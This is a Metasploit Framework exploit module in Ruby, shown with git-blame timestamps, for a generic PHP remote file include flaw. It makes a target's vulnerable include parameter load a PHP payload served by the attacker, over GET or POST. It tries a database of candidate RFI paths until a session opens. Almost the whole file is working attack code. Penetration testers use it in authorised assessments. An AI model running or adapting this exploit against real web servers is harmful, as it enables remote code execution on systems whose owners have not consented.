2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-03-04 07:34:26 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 17:59:54 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2010-02-15 17:59:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2006-12-17 07:57:51 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
2006-12-17 07:57:51 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 17:59:54 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Remote File Include Generic Exploit',
|
2006-12-17 07:57:51 +00:00
|
|
|
'Description' => %q{
|
2010-03-10 05:58:01 +00:00
|
|
|
This module can be used to exploit any generic PHP file include vulnerability,
|
|
|
|
where the application includes code like the following:
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2010-03-10 05:58:01 +00:00
|
|
|
<?php include($_GET['path']); ?>
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2011-10-04 16:02:52 +00:00
|
|
|
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
|
2006-12-17 07:57:51 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2011-10-04 16:02:52 +00:00
|
|
|
#'References' => [ ],
|
2006-12-17 07:57:51 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2010-02-15 17:59:54 +00:00
|
|
|
'Compat' =>
|
2008-09-24 04:41:51 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
2010-06-02 05:04:24 +00:00
|
|
|
# Arbitrary big number. The payload gets sent as an HTTP
|
|
|
|
# response body, so really it's unlimited
|
|
|
|
'Space' => 262144, # 256k
|
2006-12-17 07:57:51 +00:00
|
|
|
},
|
2010-02-15 17:59:54 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2010-08-25 20:55:37 +00:00
|
|
|
'WfsDelay' => 30
|
2010-02-15 17:59:54 +00:00
|
|
|
},
|
2006-12-17 07:57:51 +00:00
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2010-03-10 05:58:01 +00:00
|
|
|
register_options([
|
|
|
|
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
|
|
|
|
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
|
2011-10-04 16:02:52 +00:00
|
|
|
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
|
2010-03-10 05:58:01 +00:00
|
|
|
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
|
|
|
|
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
|
|
|
|
])
|
|
|
|
], self.class)
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
|
2009-09-10 05:24:03 +00:00
|
|
|
def check
|
2010-10-15 12:24:17 +00:00
|
|
|
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
|
2010-02-15 17:59:54 +00:00
|
|
|
if(uri and ! uri.empty?)
|
|
|
|
uri.gsub!(/\?.*/, "")
|
|
|
|
print_status("Checking uri #{uri}")
|
|
|
|
response = send_request_raw({ 'uri' => uri})
|
|
|
|
if response.code == 200
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
print_error("Server responded with #{response.code}")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Unknown
|
2009-09-10 05:24:03 +00:00
|
|
|
end
|
|
|
|
end
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
def php_exploit
|
2010-02-15 17:59:54 +00:00
|
|
|
|
|
|
|
uris = []
|
2010-03-10 05:58:01 +00:00
|
|
|
|
2010-02-16 05:24:31 +00:00
|
|
|
tpath = datastore['PATH']
|
|
|
|
if tpath[-1,1] == '/'
|
|
|
|
tpath = tpath.chop
|
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
|
|
|
|
# PHPURI overrides the PHPRFIDB list
|
2011-10-04 16:02:52 +00:00
|
|
|
if (datastore['PHPURI'] and not datastore['PHPURI'].empty? and datastore['POSTDATA'].empty?)
|
2010-02-15 17:59:54 +00:00
|
|
|
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
|
2011-10-04 16:02:52 +00:00
|
|
|
http_method = "GET"
|
|
|
|
elsif (datastore['POSTDATA'] and not datastore['POSTDATA'].empty?)
|
|
|
|
uris << datastore['PHPURI']
|
|
|
|
postdata = datastore['POSTDATA'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
|
|
|
|
http_method = "POST"
|
2010-02-15 17:59:54 +00:00
|
|
|
else
|
|
|
|
print_status("Loading RFI URLs from the database...")
|
|
|
|
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
|
|
|
|
fd.read(fd.stat.size).split(/\n/).each do |line|
|
|
|
|
line.strip!
|
|
|
|
next if line.empty?
|
|
|
|
next if line =~ /^#/
|
|
|
|
next if line !~ /^\//
|
|
|
|
|
|
|
|
uris << line.gsub('XXpathXX',
|
|
|
|
Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
|
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
uris.uniq!
|
|
|
|
print_status("Loaded #{uris.length} URLs")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Very short timeout because the request may never return if we're
|
2008-03-04 07:34:26 +00:00
|
|
|
# sending a socket payload
|
|
|
|
timeout = 0.01
|
|
|
|
|
2010-02-15 17:59:54 +00:00
|
|
|
# We can't make this parallel without breaking PHP findsock
|
|
|
|
# Findsock payloads cause this loop to run slowly
|
|
|
|
uris.each do |uri|
|
|
|
|
break if session_created?
|
2008-03-04 07:34:26 +00:00
|
|
|
|
2010-09-21 02:52:49 +00:00
|
|
|
# print_status("Sending #{tpath+uri}")
|
2010-02-15 17:59:54 +00:00
|
|
|
begin
|
2011-10-04 16:02:52 +00:00
|
|
|
if http_method == "GET"
|
|
|
|
response = send_request_raw( {
|
|
|
|
'global' => true,
|
|
|
|
'uri' => tpath+uri,
|
|
|
|
}, timeout)
|
|
|
|
elsif http_method == "POST"
|
|
|
|
response = send_request_raw(
|
|
|
|
{
|
|
|
|
'global' => true,
|
|
|
|
'uri' => tpath+uri,
|
|
|
|
'method' => http_method,
|
|
|
|
'data' => postdata,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Type' => 'application/x-www-form-urlencoded',
|
|
|
|
'Content-Length' => postdata.length,
|
|
|
|
}
|
|
|
|
}, timeout)
|
|
|
|
end
|
2010-02-15 17:59:54 +00:00
|
|
|
handler
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
2010-09-21 02:52:49 +00:00
|
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
|
|
|
|
print_error("The target service unreachable")
|
|
|
|
break
|
2010-09-25 03:14:21 +00:00
|
|
|
rescue ::OpenSSL::SSL::SSLError
|
2010-09-25 04:54:10 +00:00
|
|
|
print_error("The target failed to negotiate SSL, is this really an SSL service?")
|
2010-09-25 03:14:21 +00:00
|
|
|
break
|
2010-09-21 02:52:49 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Exception #{e.class} #{e}")
|
2010-02-15 17:59:54 +00:00
|
|
|
end
|
2011-10-04 16:02:52 +00:00
|
|
|
|
2011-03-02 05:03:20 +00:00
|
|
|
Thread.pass
|
2010-02-15 17:59:54 +00:00
|
|
|
end
|
|
|
|
end
|
2009-06-20 05:50:52 +00:00
|
|
|
end
|